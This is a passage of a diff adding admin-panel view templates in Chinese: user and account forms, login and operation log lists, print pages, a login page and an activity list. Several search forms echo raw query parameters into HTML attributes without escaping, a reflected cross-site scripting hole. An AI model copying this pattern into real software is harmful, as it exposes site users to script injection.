|
||||
endDate = '';
|
||||
}
|
||||
if(status == undefined){
|
||||
status = '';
|
||||
}
|
||||
if(username == undefined){
|
||||
username = '';
|
||||
}
|
||||
layer.open({
|
||||
type: 2,
|
||||
title:'用户列表打印',
|
||||
content: '/log/admin_print?startDate='+startDate+'&endDate='+endDate+'&status='+status+'&username='+username,
|
||||
area: ['95%', '95%']
|
||||
});
|
||||
});
|
||||
function getQueryString() {
|
||||
var qs = location.search.substr(1), // 获取url中"?"符后的字串
|
||||
args = {}, // 保存参数数据的对象
|
||||
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
|
||||
item = null,
|
||||
len = items.length;
|
||||
|
||||
for(var i = 0; i < len; i++) {
|
||||
item = items[i].split("=");
|
||||
var name = decodeURIComponent(item[0]),
|
||||
value = decodeURIComponent(item[1]);
|
||||
if(name) {
|
||||
args[name] = value;
|
||||
}
|
||||
}
|
||||
return args;
|
||||
}
|
||||
|
||||
// 导出excel
|
||||
$('#export').click(function(){
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var status = $('#status').val();
|
||||
var username = $('#username').val();
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = "/log/index?export=1&&startDate="+startDate+"&&endDate="+endDate+"&&status="+status+"&&username="+username;
|
||||
layer.close(index);
|
||||
});
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,154 @@
|
||||
{include file="public/header"}
|
||||
<style type="text/css">
|
||||
textarea, input[type="text"], input[type="password"],
|
||||
.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.x-nav{overflow: inherit; }
|
||||
.x-nav .refresh{margin-right: 20px; }
|
||||
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
|
||||
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
|
||||
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
|
||||
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
|
||||
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
|
||||
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one" data-id="1">用户列表</a>
|
||||
<a href="javascript:;" class="list-two actived" data-id="2">用户添加</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="info_from form-horizontal">
|
||||
<div class="control-group">
|
||||
<label class="control-label">appid:</label>
|
||||
<div class="controls">
|
||||
<input id="L_username" name="L_username" type="text" value maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * 将会成为您唯一的登入名</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">密码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_pass" name="L_pass" type="password" value maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * 6到16个字符</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">确认密码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_repass" name="L_repass" type="password" value maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 与密码保持一致</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">名称:</label>
|
||||
<div class="controls">
|
||||
<input id="L_name" name="L_name" type="text" value maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> *</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">备注:</label>
|
||||
<div class="controls">
|
||||
<textarea id="L_remake" name="L_remake" type="text" value maxlength="50" minlength="3" class="required"></textarea>
|
||||
</div>
|
||||
</div>
|
||||
<div class="bottom-buttom">
|
||||
<label class="control-label"></label>
|
||||
<div class="controls">
|
||||
<div class='submit'>保存</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/log/scan_admin';
|
||||
if(id == "2") location.href = '/log/scan_admin_add';
|
||||
});
|
||||
|
||||
//监听提交
|
||||
$('.submit').click(function (data) {
|
||||
// 获取和拼装添加代理的数据
|
||||
var query = new Object();
|
||||
query.appid = $('#L_username').val();
|
||||
query.pass = $('#L_pass').val();
|
||||
query.repass = $('#L_repass').val();
|
||||
query.name = $('#L_name').val();
|
||||
query.remake = $('#L_remake').val();
|
||||
|
||||
// 验证数据
|
||||
if(query.appid.length == 0){
|
||||
layer.alert("请填写账号!");
|
||||
return false;
|
||||
}
|
||||
if(query.pass.length <= 0){
|
||||
layer.alert("请填写密码!");
|
||||
return false;
|
||||
}
|
||||
if(query.pass.length > 0 && query.pass.length < 6){
|
||||
layer.alert("密码长度为6到16个字符!");
|
||||
return false;
|
||||
}
|
||||
if(query.pass != query.repass){
|
||||
layer.alert("两次密码不一致!");
|
||||
return false;
|
||||
}
|
||||
if(query.name.length <= 0){
|
||||
layer.alert("请填写名称!");
|
||||
return false;
|
||||
}
|
||||
// console.log(query);return false;
|
||||
|
||||
// 发送数据到后台添加会员
|
||||
var result = ajax('/log/do_scan_admin_add',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = "/log/scan_admin";
|
||||
});
|
||||
}else{
|
||||
layer.alert(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
});
|
||||
|
||||
// AJAX函数封装
|
||||
function ajax(url,query){
|
||||
var returnData = 0;
|
||||
$.ajax({
|
||||
url:url,
|
||||
data:query,
|
||||
type:'POST',
|
||||
dataType:'JSON',
|
||||
async:false,
|
||||
success:function(data){
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,144 @@
|
||||
{include file="public/header"}
|
||||
<style type="text/css">
|
||||
textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
|
||||
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
|
||||
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
|
||||
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
|
||||
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
|
||||
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one" data-id="1">用户列表</a>
|
||||
<a href="javascript:;" class="list-two actived" data-id="2">用户修改</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="info_from form-horizontal">
|
||||
<div class="control-group">
|
||||
<label class="control-label">appid:</label>
|
||||
<div class="controls">
|
||||
<input id="L_username" name="L_username" type="text" value="{$admin.appid}" readonly maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * 将会成为您唯一的登入名</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">密码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_pass" name="L_pass" type="password" value maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * 6到16个字符</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">确认密码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_repass" name="L_repass" type="password" value maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 与密码保持一致</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">名称:</label>
|
||||
<div class="controls">
|
||||
<input id="L_name" name="L_name" type="text" value="{$admin.name}" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> *</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">备注:</label>
|
||||
<div class="controls">
|
||||
<textarea id="L_remake" name="L_remake" type="text" maxlength="50" minlength="3" class="required">{$admin.remake}</textarea>
|
||||
</div>
|
||||
</div>
|
||||
<div class="bottom-buttom">
|
||||
<label class="control-label"></label>
|
||||
<div class="controls">
|
||||
<div class='submit'>保存</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- 隐藏参数 -->
|
||||
<input type="hidden" id="scan_admin_id" value="{$admin.id}">
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/log/scan_admin';
|
||||
if(id == "2") location.href = '/log/scan_admin_edit';
|
||||
});
|
||||
|
||||
//监听提交
|
||||
$('.submit').click(function () {
|
||||
// 获取和拼装添加代理的数据
|
||||
var query = new Object();
|
||||
query.scan_admin_id = $('#scan_admin_id').val();
|
||||
query.appid = $('#L_username').val();
|
||||
query.pass = $('#L_pass').val();
|
||||
query.repass = $('#L_repass').val();
|
||||
query.name = $('#L_name').val();
|
||||
query.remake = $('#L_remake').val();
|
||||
|
||||
// 验证数据
|
||||
if(query.pass.length > 0){
|
||||
if(query.pass.length >= 6){
|
||||
if(query.pass != query.repass){
|
||||
layer.msg("两次密码不一致!");
|
||||
return false;
|
||||
}
|
||||
}else{
|
||||
layer.msg("密码不能少于6位字符!");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// 发送数据到后台添加会员
|
||||
var result = ajax('/log/do_scan_admin_edit',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = '/log/scan_admin';
|
||||
});
|
||||
}else{
|
||||
layer.msg(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
});
|
||||
|
||||
// AJAX函数封装
|
||||
function ajax(url,query){
|
||||
var returnData = 0;
|
||||
$.ajax({
|
||||
url:url,
|
||||
data:query,
|
||||
type:'POST',
|
||||
dataType:'JSON',
|
||||
async:false,
|
||||
success:function(data){
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,162 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:12px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">用户登录日志列表</a>
|
||||
<!--<a href="javascript:;" class="list-two" data-id="2">添加代理</a>-->
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/log/user_login" method="get">
|
||||
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
|
||||
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
|
||||
<input type="text" name="username" id="username" placeholder="请输入账号" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
|
||||
<div class="layui-input-block" >
|
||||
<select name="remark" id="remark">
|
||||
<option value="" selected>请选择操作类型</option>
|
||||
<option value="登录" <?php if(isset($get['remark']) && $get['remark'] == '登录') {echo 'selected';} ?>>登录</option>
|
||||
<option value="退出登录" <?php if(isset($get['remark']) && $get['remark'] == '退出登录') {echo 'selected';} ?>>退出登录</option>
|
||||
<option value="强制退出登录" <?php if(isset($get['remark']) && $get['remark'] == '强制退出登录') {echo 'selected';} ?>>强制退出登录</option>
|
||||
</select>
|
||||
</div>
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
<span class="layui-btn" id="export">导出excel</span>
|
||||
<!-- <span class="layui-btn" id="print">打印</span> -->
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>账号</th>
|
||||
<th>姓名</th>
|
||||
<th>IP</th>
|
||||
<th>IP所属国家/地区</th>
|
||||
<th>登录客户端</th>
|
||||
<th>操作类型</th>
|
||||
<th>操作时间</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="log_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.username}</td>
|
||||
<td>{$vo.nickname}</td>
|
||||
<td>{$vo.ip}</td>
|
||||
<td>{$vo.ip_location}</td>
|
||||
<td>{$vo.client}</td>
|
||||
<td>{$vo.remark}</td>
|
||||
<td>{$vo.create_time}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$log_list->render()}
|
||||
</div>
|
||||
</body>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/log/user_login';
|
||||
// if(id == "2") location.href = '/agent/agent_add';
|
||||
});
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
$('#print').click(function(){
|
||||
var qs = getQueryString();
|
||||
var startDate = qs["startDate"];
|
||||
var endDate = qs["endDate"];
|
||||
var username = qs["username"];
|
||||
var remark = qs["remark"];
|
||||
if(startDate == undefined){
|
||||
startDate = '';
|
||||
}
|
||||
if(endDate == undefined){
|
||||
endDate = '';
|
||||
}
|
||||
if(username == undefined){
|
||||
username = '';
|
||||
}
|
||||
if(remark == undefined){
|
||||
remark = '';
|
||||
}
|
||||
layer.open({
|
||||
type: 2,
|
||||
title:'用户登录日志列表打印',
|
||||
content: '/log/user_login_print?startDate='+startDate+'&endDate='+endDate+'&username='+username+'&remark='+remark,
|
||||
area: ['95%', '95%']
|
||||
});
|
||||
});
|
||||
function getQueryString() {
|
||||
var qs = location.search.substr(1), // 获取url中"?"符后的字串
|
||||
args = {}, // 保存参数数据的对象
|
||||
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
|
||||
item = null,
|
||||
len = items.length;
|
||||
|
||||
for(var i = 0; i < len; i++) {
|
||||
item = items[i].split("=");
|
||||
var name = decodeURIComponent(item[0]),
|
||||
value = decodeURIComponent(item[1]);
|
||||
if(name) {
|
||||
args[name] = value;
|
||||
}
|
||||
}
|
||||
return args;
|
||||
}
|
||||
|
||||
// 导出excel
|
||||
$('#export').click(function(){
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var username = $('#username').val();
|
||||
var remark = $('#remark').val();
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = "/log/user_login?export=1&&startDate="+startDate+"&&endDate="+endDate+"&&username="+username+"&remark="+remark;
|
||||
layer.close(index);
|
||||
});
|
||||
})
|
||||
</script>
|
||||
</html>
|
||||
@@ -0,0 +1,34 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<div class="x-body">
|
||||
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
|
||||
<table class="layui-table">
|
||||
<div style="text-align: center;font-size: 18px;font-weight:bold;">用户登录列表</div>
|
||||
<thead>
|
||||
<tr>
|
||||
<th style="text-align: center;">账号</th>
|
||||
<th style="text-align: center;">姓名</th>
|
||||
<th style="text-align: center;">IP</th>
|
||||
<th style="text-align: center;">IP所属国家/地区</th>
|
||||
<th style="text-align: center;">登录客户端</th>
|
||||
<th style="text-align: center;">操作类型</th>
|
||||
<th style="text-align: center;">操作时间</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="log_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.username}</td>
|
||||
<td>{$vo.nickname}</td>
|
||||
<td>{$vo.ip}</td>
|
||||
<td>{$vo.ip_location}</td>
|
||||
<td>{$vo.client}</td>
|
||||
<td>{$vo.remark}</td>
|
||||
<td>{$vo.create_time}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,30 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<div class="x-body">
|
||||
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
|
||||
<table class="layui-table">
|
||||
<div style="text-align: center;font-size: 18px;font-weight:bold;">操作日志列表</div>
|
||||
<thead>
|
||||
<tr>
|
||||
<th style="text-align: center;">编号</th>
|
||||
<th style="text-align: center;">操作人</th>
|
||||
<th style="text-align: center;">操作类型</th>
|
||||
<th style="text-align: center;">操作描述</th>
|
||||
<th style="text-align: center;">操作时间</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="log_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.id}</td>
|
||||
<td>{$vo.username}</td>
|
||||
<td>{$vo.control}</td>
|
||||
<td>{$vo.remake}</td>
|
||||
<td>{$vo.control_time}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,80 @@
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>后台管理登录</title>
|
||||
<meta name="renderer" content="webkit|ie-comp|ie-stand">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
||||
<meta name="viewport" content="width=device-width,user-scalable=yes, minimum-scale=0.4, initial-scale=0.8,target-densitydpi=low-dpi" />
|
||||
<meta http-equiv="Cache-Control" content="no-siteapp" />
|
||||
<link rel="stylesheet" href="/static/admin/css/font.css">
|
||||
<link rel="stylesheet" href="/static/admin/css/xadmin.css">
|
||||
<script type="text/javascript" src="/static/admin/js/jquery-3.3.1.min.js"></script>
|
||||
<script src="/static/admin/lib/layui/layui.js" charset="utf-8"></script>
|
||||
<script type="text/javascript" src="/static/admin/js/xadmin.js"></script>
|
||||
|
||||
</head>
|
||||
<body class="login-bg">
|
||||
<div class="login">
|
||||
<div class="message">后台管理登录</div>
|
||||
<div id="darkbannerwrap"></div>
|
||||
|
||||
<form class="layui-form">
|
||||
<input name="admin" placeholder="用户名" type="text" lay-verify="required" class="layui-input username" >
|
||||
<hr class="hr15">
|
||||
<input name="password" lay-verify="required" placeholder="密码" type="password" class="layui-input password">
|
||||
<hr class="hr15">
|
||||
<input name="code" class="code" type="text" lay-verify="required" placeholder="验证码" style="width:200px;">
|
||||
<img id="validateCode" src="/login/validateCode" onclick="this.src=this.src+'?'">
|
||||
<hr class="hr15">
|
||||
<input value="登录" class="submit" type="button" lay-submit lay-filter="login" style="width:100%;" >
|
||||
<hr class="hr20" >
|
||||
</form>
|
||||
</div>
|
||||
</body>
|
||||
<script>
|
||||
// 登录
|
||||
$('.submit').click(function(){
|
||||
var query = new Object();
|
||||
query.username = $('.username').val();
|
||||
query.password = $('.password').val();
|
||||
query.code = $('.code').val();
|
||||
|
||||
// 验证
|
||||
if(query.username.length <= 0){
|
||||
layer.msg('用户名不能为空!');
|
||||
return false;
|
||||
}
|
||||
if(query.password.length <= 0){
|
||||
layer.msg('密码不能为空!');
|
||||
return false;
|
||||
}
|
||||
if(query.code.length <= 0){
|
||||
layer.msg('验证码不能为空!');
|
||||
return false;
|
||||
}
|
||||
// 发送后台处理登录
|
||||
$.ajax({
|
||||
url:'/login/do_login',
|
||||
data:query,
|
||||
type:'POST',
|
||||
dataType:'JSON',
|
||||
success:function(data){
|
||||
if(data.code == 1){
|
||||
layer.msg(data.msg,{time:1500},function(){
|
||||
location.href = '/';
|
||||
});
|
||||
}else if(data.code == 0){
|
||||
layer.msg(data.msg);
|
||||
$('#validateCode').trigger('click');
|
||||
}
|
||||
}
|
||||
})
|
||||
})
|
||||
|
||||
// 回车键登录
|
||||
$(document).keydown(function(e){
|
||||
if(e.keyCode == 13) $('.submit').trigger('click');
|
||||
});
|
||||
</script>
|
||||
</html>
|
||||
@@ -0,0 +1,256 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">活动列表</a>
|
||||
<a href="javascript:;" class="list-two" data-id="2">活动添加</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/memo/activity" method="get">
|
||||
<input type="text" name="title" id="title" placeholder="标题" autocomplete="off" class="layui-input" value="<?php if(isset($get['title'])) {echo $get['title'];} ?>">
|
||||
<div class="layui-input-block" >
|
||||
<select name="status" id="status">
|
||||
<option value="-1" selected>请选择状态</option>
|
||||
<option value="1" <?php if(isset($get['status']) && $get['status'] == 1) {echo 'selected';} ?>>正常</option>
|
||||
<option value="2" <?php if(isset($get['status']) && $get['status'] == 2) {echo 'selected';} ?>>锁定</option>
|
||||
</select>
|
||||
</div>
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
<span class="layui-btn" id="export">导出excel</span>
|
||||
<!-- <span class="layui-btn" id="print">打印</span> -->
|
||||
</form>
|
||||
</div>
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>桌子名称</th>
|
||||
<th>标题</th>
|
||||
<th>url链接</th>
|
||||
<th>内容</th>
|
||||
<th>备注</th>
|
||||
<th>显示位置</th>
|
||||
<th>创建时间</th>
|
||||
<th>状态</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="memo_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.table_name}</td>
|
||||
<td>{$vo.title}</td>
|
||||
<td>{$vo.url}</td>
|
||||
<td>{$vo.content}</td>
|
||||
<td>{$vo.remark}</td>
|
||||
<td>{$vo.position}</td>
|
||||
<td>{$vo.create_time}</td>
|
||||
{if condition="$vo.status == 1"}
|
||||
<td class="td-status">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini">正常</span>
|
||||
</td>
|
||||
{else}
|
||||
<td class="td-status">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;">锁定中</span>
|
||||
</td>
|
||||
{/if}
|
||||
<td class="td-manage">
|
||||
{if condition="$vo.status == 1"}
|
||||
<a onclick="member_stop(this,'{$vo.id}')" href="javascript:;" title="锁定">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini">锁定</span>
|
||||
</a>
|
||||
{else}
|
||||
<a onclick="member_stop(this,'{$vo.id}')" href="javascript:;" title="解锁">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini">解锁</span>
|
||||
</a>
|
||||
{/if}
|
||||
<a href="/memo/activity_edit?id={$vo.id}">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;">修改</span>
|
||||
</a>
|
||||
<a onclick="member_del(this,'{$vo.id}')" href="javascript:;">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;">删除</span>
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$memo_list->render()}
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
